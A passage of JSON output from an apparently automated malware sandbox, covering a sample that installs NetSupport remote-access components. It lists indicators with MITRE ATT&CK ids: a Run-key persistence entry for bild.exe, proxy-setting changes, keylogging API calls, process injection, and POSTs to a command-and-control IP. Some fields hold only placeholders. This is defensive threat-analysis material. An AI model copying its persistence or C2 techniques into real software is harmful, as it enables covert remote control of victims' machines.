\"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"123.exe\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to set/delete MS-DOS device name (API string)","description":"Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; File: \"123.exe\")\n Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-466","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop client32\" (Indicator: \"net stop\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"bild.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$4e","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"123.exe\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"123.exe\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"svchost.exe,csrss.exe,spoolsv.exe,winlogon.exe,wininit.exe\" (Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"123.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"bild.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"remcmdstub.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"pcicapi.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"PCICL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"TCCTL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"HTCTL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\":\\WINDOWS\\system32\\RmtTpmVscMgrSvr.exe\" (Indicator: \"rmttpmvscmgrsvr.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"123.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"123.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"reg.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"D\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"F\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"5\")\n \"bild.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"2\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"section contains high entropy","description":"\"123.exe\" has section name .text with entropy \"6.69347740661\"\n \"123.exe\" has section name .rsrc with entropy \"6.80228749572\"\n \"123.exe\" has section name .reloc with entropy \"6.6873575305\"\n \"remcmdstub.exe\" has section name .text with entropy \"6.49112248231\"\n \"pcicapi.dll\" has section name .text with entropy \"6.27384725091\"\n \"PCICL32.DLL\" has section name .text with entropy \"6.61401663564\"\n \"PCICL32.DLL\" has section name .reloc with entropy \"6.04020687247\"\n \"TCCTL32.DLL\" has section name .text with entropy \"6.66374996194\"\n \"TCCTL32.DLL\" has section name .reloc with entropy \"6.70915263029\"\n \"HTCTL32.DLL\" has section name .text with entropy \"6.57622216557\"\n \"HTCTL32.DLL\" has section name .data with entropy \"6.18806785118\"\n \"HTCTL32.DLL\" has section name .reloc with entropy \"6.72242095522\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/grayware_confidence_60% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"\"POST http://45.61.128.74/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 45.61.128.74\nConnection: Keep-Alive\" with payload::==> \", \"POST http://45.61.128.74/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 250\nHost: 45.61.128.74\nConnection: Keep-Alive\" with payload::==> \"\n \"POST http://45.61.128.74/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 76\nHost: 45.61.128.74\nConnection: Keep-Alive\" with payload::==> \"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"123.exe\" reads file \"C:\\Windows\\win.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"123.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"bild.exe\" reads file \"C:\\Users\\Public\\Public\\Videos\\Video\\client32.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$51","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"reg.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"reg.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"NETSTAT\"; Value: \"%PUBLIC%\\Public\\Videos\\Video\\bild.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$52","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 45.61.128.74 on port 443 is sent without HTTP header\n TCP traffic to 104.26.1.231 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"bild.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"123.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"27\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"bild.exe\" called \"GetDriveTypeA\" with parameter C:\\ (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieves adapter information","description":"$53","origin":"API Call","mitre_attack_id":"T1016","relevance":5,"id":"api-153","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"Please enter the hostname or IP address of the Control you want to connect to.\" (Indicator: \"hostname\"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")\n Found string \"Cannot resolve hostname %s, error %d\" (Indicator: \"hostname\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")\n Found string \"HOSTNAME\" (Indicator: \"hostname\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")\n Found string \"HostName\" (Indicator: \"hostname\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"123.exe\" marked \"C:\\Users\\Public\\Public\\Videos\\Video\\__tmp_rar_sfx_access_check_907978140\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"123.exe\" opened \"C:\\Users\\Public\\Public\\Videos\\Video\\__tmp_rar_sfx_access_check_907978140\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"123.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"bild.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"bild.exe\" claimed CRC 150404 while the actual is CRC 2169941\n \"remcmdstub.exe\" claimed CRC 128959 while the actual is CRC 150404\n \"pcicapi.dll\" claimed CRC 57253 while the actual is CRC 128959\n \"PCICL32.DLL\" claimed CRC 3747174 while the actual is CRC 57253\n \"TCCTL32.DLL\" claimed CRC 445223 while the actual is CRC 3747174\n \"HTCTL32.DLL\" claimed CRC 345917 while the actual is CRC 445223\n \"PCICHEK.DLL\" claimed CRC 57016 while the actual is CRC 345917","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$54","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"123.exe\" called \"CreateProcessW\" with parameter \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\"\" - (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\reg.exe\" (Handle: 400)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\Public\\Public\\Videos\\Video\\bild.exe\" (Handle: 392)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: NetSupport Manager/1.3","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$56","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"bild.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to save executable or command in registry","description":"\"reg.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"NETSTAT\"; Value: \"%PUBLIC%\\Public\\Videos\\Video\\bild.exe\")","origin":"Registry Access","mitre_attack_id":"T1547","relevance":7,"id":"registry-113","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 62245-1308-0041DD7C\n SetUnhandledExceptionFilter@KERNEL32.dll at 62245-2283-0041DBC3\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006116-63370-59-01315B53\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006116-63370-712-0130DA75\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006116-63370-739-0130DD7C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006116-63370-1506-0130DBC3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$57","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$58","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006116.00000000.80349.00220000.00000004.mdmp, 00000000-00006116.00000001.80520.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$59","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"HTCTL32.DLL\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000001.82769.6C945000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001236-00000C2C-269417811\")\n Found reference to API \"GetAddrInfoExW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001236-00000C2C-270895531\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001236-00000C2C-271338491\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information set for devices (API string)","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"setupdigetclassdevs\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000001.82769.6C945000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: 